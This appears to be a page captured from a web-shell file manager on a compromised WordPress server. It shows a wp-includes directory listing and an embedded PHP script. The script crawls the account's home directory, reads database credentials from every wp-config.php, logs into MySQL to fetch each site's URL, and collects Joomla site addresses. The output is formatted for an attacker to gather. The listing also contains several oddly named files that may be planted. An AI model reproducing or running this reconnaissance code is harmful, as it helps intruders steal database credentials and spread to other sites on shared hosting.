PATH:
home
/
beestk
/
anatolia
/
wp-includes
<?php $r = "/home/beestk"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } $again = 'http://' . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) { preg_match("/define\(.*'(.*)'\);/", $line, $matches); return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $p = dirname($p); print "<f>{$p}@@@{$row->option_value}@@@wp@@@{$p}</f>\n"; } $mysqli->close(); } } function scan_joomla($p) { $c = file_get_contents($p); preg_match("/live_site = '(.*?)';/", $c, $m); if (isset($m[1])) { $p = dirname($p); print "<f>{$p}@@@{$m[1]}@@@joomla@@@{$p}</f>\n"; } } function scan($path) { $existed = ["anatolia.beestk.com"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { scan_joomla($p); } } } } } scan($r); die('!ended!');
[+]
..
[-] feed.php
[open]
[-] speculative-loading.php
[open]
[-] class-wp-block-parser-frame.php
[open]
[-] class-wp-customize-nav-menus.php
[open]
[-] feed-atom-comments.php
[open]
[-] template-canvas.php
[open]
[-] class-wp-user-query.php
[open]
[+]
Requests
[-] fonts.php
[open]
[-] script-modules.php
[open]
[-] compat.php
[open]
[-] class-http.php
[open]
[-] theme.json
[open]
[-] canonical.php
[open]
[-] class-wp-exception.php
[open]
[-] class-wp-block-editor-context.php
[open]
[-] class-wp-customize-setting.php
[open]
[+]
rest-api
[-] class-wp-application-passwords.php
[open]
[-] class-wp-network.php
[open]
[-] class-wp-fatal-error-handler.php
[open]
[+]
block-supports
[-] class-wp-theme-json-resolver.php
[open]
[-] block-template-utils.php
[open]
[-] class-wp-hook.php
[open]
[-] class-oembed.php
[open]
[+]
images
[-] formatting.php
[open]
[-] rest-api.php
[open]
[-] embed.php
[open]
[-] class-wp-http-requests-hooks.php
[open]
[-] class-wp-http-curl.php
[open]
[-] class-walker-comment.php
[open]
[-] class-wp-customize-manager.php
[open]
[-] functions.wp-styles.php
[open]
[-] class-wp-taxonomy.php
[open]
[-] nav-menu.php
[open]
[-] class-wp-block-templates-registry.php
[open]
[-] class-walker-category-dropdown.php
[open]
[-] style-engine.php
[open]
[-] class-wp-recovery-mode-email-service.php
[open]
[+]
interactivity-api
[-] spl-autoload-compat-beta.php
[open]
[+]
l10n
[-] class-wp-block-type-registry.php
[open]
[-] class-wp-comment-query.php
[open]
[-] class-wp-feed-cache-transient.php
[open]
[-] class-wp-locale-switcher.php
[open]
[-] class-wp-image-editor.php
[open]
[-] ms-functions.php
[open]
[-] rewrite.php
[open]
[+]
pomo
[+]
SimplePie
[-] plugin.php
[open]
[-] cache.php
[open]
[-] post.php
[open]
[-] class-wp-recovery-mode.php
[open]
[-] http.php
[open]
[-] option.php
[open]
[+]
certificates
[+]
widgets
[-] comment.php
[open]
[-] class-wp-http-cookie.php
[open]
[-] class-wp-duotone.php
[open]
[-] class-walker-nav-menu.php
[open]
[-] class-wp-admin-bar.php
[open]
[-] class-feed.php
[open]
[-] error-protection.php
[open]
[-] class-wp-recovery-mode-key-service.php
[open]
[-] default-filters.php
[open]
[-] class-wp-block-bindings-registry.php
[open]
[-] class.wp-scripts.php
[open]
[-] class-wp-http-ixr-client-character.php
[open]
[+]
sitemaps
[-] class-wp-block.php
[open]
[-] class-wp-block-type.php
[open]
[-] theme-previews.php
[open]
[-] class-wpdb.php
[open]
[-] ms-default-constants.php
[open]
[-] feed-atom.php
[open]
[-] class-wp-http-ixr-client.php
[open]
[-] class.wp-dependencies.php
[open]
[-] class-wp-speculation-rules.php
[open]
[-] default-widgets.php
[open]
[-] class-wp-oembed.php
[open]
[-] utf8.php
[open]
[-] spl-autoload-compat.php
[open]
[-] link-template.php
[open]
[-] general-template.php
[open]
[+]
block-patterns
[-] feed-rss.php
[open]
[-] class-wp-simplepie-file.php
[open]
[-] class-wp-http-requests-response.php
[open]
[-] feed-rss2.php
[open]
[-] class-wp-token-map.php
[open]
[-] query.php
[open]
[-] class-wp-widget.php
[open]
[-] ms-deprecated.php
[open]
[-] theme-templates.php
[open]
[-] vars.php
[open]
[+]
css
[-] l10n.php
[open]
[-] load.php
[open]
[-] class-wp-user.php
[open]
[-] class-wp-block-template.php
[open]
[-] script-loader.php
[open]
[-] abilities.php
[open]
[-] template-loader.php
[open]
[-] theme.php
[open]
[-] class-wp-image-editor-gd.php
[open]
[-] rss-functions.php
[open]
[-] class-wp-customize-control.php
[open]
[-] class-wp-paused-extensions-storage.php
[open]
[-] class-snoopy.php
[open]
[-] .binding
[open]
[-] class-wp-customize-widgets.php
[open]
[-] pluggable-deprecated.php
[open]
[-] class-simplepie.php
[open]
[-] rss.php
[open]
[-] class-wp-dependency.php
[open]
[+]
ID3
[-] block-i18n.json
[open]
[-] class-wp-phpmailer.php
[open]
[-] https-detection.php
[open]
[-] class-wp-theme-json-data.php
[open]
[-] class-wp-block-metadata-registry.php
[open]
[-] class-IXR.php
[open]
[-] atomlib.php
[open]
[-] class-wp-user-meta-session-tokens.php
[open]
[-] class-wp-theme-json-schema.php
[open]
[+]
style-engine
[-] taxonomy.php
[open]
[-] class-wp-date-query.php
[open]
[-] class-wp-image-editor-imagick.php
[open]
[-] abilities-api.php
[open]
[-] pluggable.php
[open]
[-] class-wp-block-pattern-categories-registry.php
[open]
[-] compat-utf8.php
[open]
[-] class-wp-feed-cache.php
[open]
[-] class-wp-block-styles-registry.php
[open]
[-] block-bindings.php
[open]
[-] class.wp-styles.php
[open]
[-] class-requests.php
[open]
[-] widgets.php
[open]
[-] class-walker-page-dropdown.php
[open]
[-] session.php
[open]
[-] class-walker-page.php
[open]
[-] class-wp-term-query.php
[open]
[-] sitemaps.php
[open]
[-] class-wp.php
[open]
[-] class-wp-tax-query.php
[open]
[-] bookmark-template.php
[open]
[-] class-wp-styles.php
[open]
[-] class-wp-session-tokens.php
[open]
[-] class-wp-error.php
[open]
[-] wp-diff.php
[open]
[-] post-formats.php
[open]
[-] class-wp-meta-query.php
[open]
[-] class-wp-embed.php
[open]
[+]
fonts
[-] robots-template.php
[open]
[-] class-wp-simplepie-sanitize-kses.php
[open]
[+]
IXR
[-] class-wp-xmlrpc-server.php
[open]
[-] class-wp-http-encoding.php
[open]
[-] class-wp-walker.php
[open]
[+]
php-compat
[-] cache-compat.php
[open]
[-] functions.php
[open]
[-] class-wp-post-type.php
[open]
[+]
abilities-api
[-] class-wp-role.php
[open]
[-] class-wp-classic-to-block-menu-converter.php
[open]
[-] class-wp-widget-factory.php
[open]
[-] feed-rdf.php
[open]
[-] update.php
[open]
[-] class-wp-http.php
[open]
[+]
Text
[-] ms-network.php
[open]
[+]
PHPMailer
[-] class-wp-post.php
[open]
[-] class-wp-recovery-mode-link-service.php
[open]
[-] ms-settings.php
[open]
[+]
theme-compat
[-] class-wp-block-parser.php
[open]
[-] block-patterns.php
[open]
[-] class-pop3.php
[open]
[-] class-wp-customize-panel.php
[open]
[-] class-json.php
[open]
[-] template.php
[open]
[-] class-wp-list-util.php
[open]
[-] class-wp-editor.php
[open]
[-] global-styles-and-settings.php
[open]
[-] class-wp-block-list.php
[open]
[-] deprecated.php
[open]
[-] default-constants.php
[open]
[-] class-wp-script-modules.php
[open]
[-] media.php
[open]
[-] blocks.php
[open]
[-] date.php
[open]
[-] ms-site.php
[open]
[-] feed-rss2-comments.php
[open]
[-] class-wp-scripts.php
[open]
[-] class-wp-customize-section.php
[open]
[-] class-wp-site.php
[open]
[-] class-wp-block-supports.php
[open]
[-] shortcodes.php
[open]
[-] category-template.php
[open]
[-] class-wp-navigation-fallback.php
[open]
[-] class-wp-comment.php
[open]
[-] nav-menu-template.php
[open]
[-] class-wp-http-proxy.php
[open]
[-] ms-files.php
[open]
[-] class-walker-category.php
[open]
[-] class-wp-object-cache.php
[open]
[-] class-avif-info.php
[open]
[-] functions.wp-scripts.php
[open]
[-] class-phpass.php
[open]
[-] class-wp-recovery-mode-cookie-service.php
[open]
[-] class-wp-site-query.php
[open]
[-] class-wp-matchesmapregex.php
[open]
[-] class-wp-rewrite.php
[open]
[-] class-wp-user-request.php
[open]
[-] registration-functions.php
[open]
[+]
sodium_compat
[-] class-wp-network-query.php
[open]
[-] block-template.php
[open]
[-] class-wp-http-streams.php
[open]
[-] class-wp-theme-json.php
[open]
[-] class-phpmailer.php
[open]
[-] block-editor.php
[open]
[-] embed-template.php
[open]
[-] bookmark.php
[open]
[+]
block-bindings
[-] version.php
[open]
[-] capabilities.php
[open]
[-] class-wp-url-pattern-prefixer.php
[open]
[-] author-template.php
[open]
[+]
assets
[-] class-wp-block-parser-block.php
[open]
[+]
blocks
[-] cron.php
[open]
[-] class-wp-dependencies.php
[open]
[-] https-migration.php
[open]
[-] category.php
[open]
[-] class-wp-oembed-controller.php
[open]
[-] comment-template.php
[open]
[-] revision.php
[open]
[-] class-wp-text-diff-renderer-table.php
[open]
[-] class-wp-http-response.php
[open]
[-] class-wp-metadata-lazyloader.php
[open]
[-] post-template.php
[open]
[-] locale.php
[open]
[-] class-wp-textdomain-registry.php
[open]
[-] class-wp-locale.php
[open]
[+]
customize
[-] class-wp-block-bindings-source.php
[open]
[-] formatting-request.php
[open]
[-] post-thumbnail-template.php
[open]
[-] class-wp-plugin-dependencies.php
[open]
[-] class-wp-query.php
[open]
[-] meta.php
[open]
[-] class-wp-text-diff-renderer-inline.php
[open]
[-] user.php
[open]
[+]
js
[-] ms-load.php
[open]
[-] kses.php
[open]
[-] ms-default-filters.php
[open]
[+]
html-api
[-] wp-db.php
[open]
[-] class-wp-theme.php
[open]
[-] class-smtp.php
[open]
[-] class-wp-term.php
[open]
[-] ms-blogs.php
[open]
[-] class-wp-roles.php
[open]
[-] media-template.php
[open]
[-] theme-i18n.json
[open]
[-] registration.php
[open]
[-] admin-bar.php
[open]
[-] class-wp-ajax-response.php
[open]
[-] class-wp-block-patterns-registry.php
[open]
[-] class-wp-block-processor.php
[open]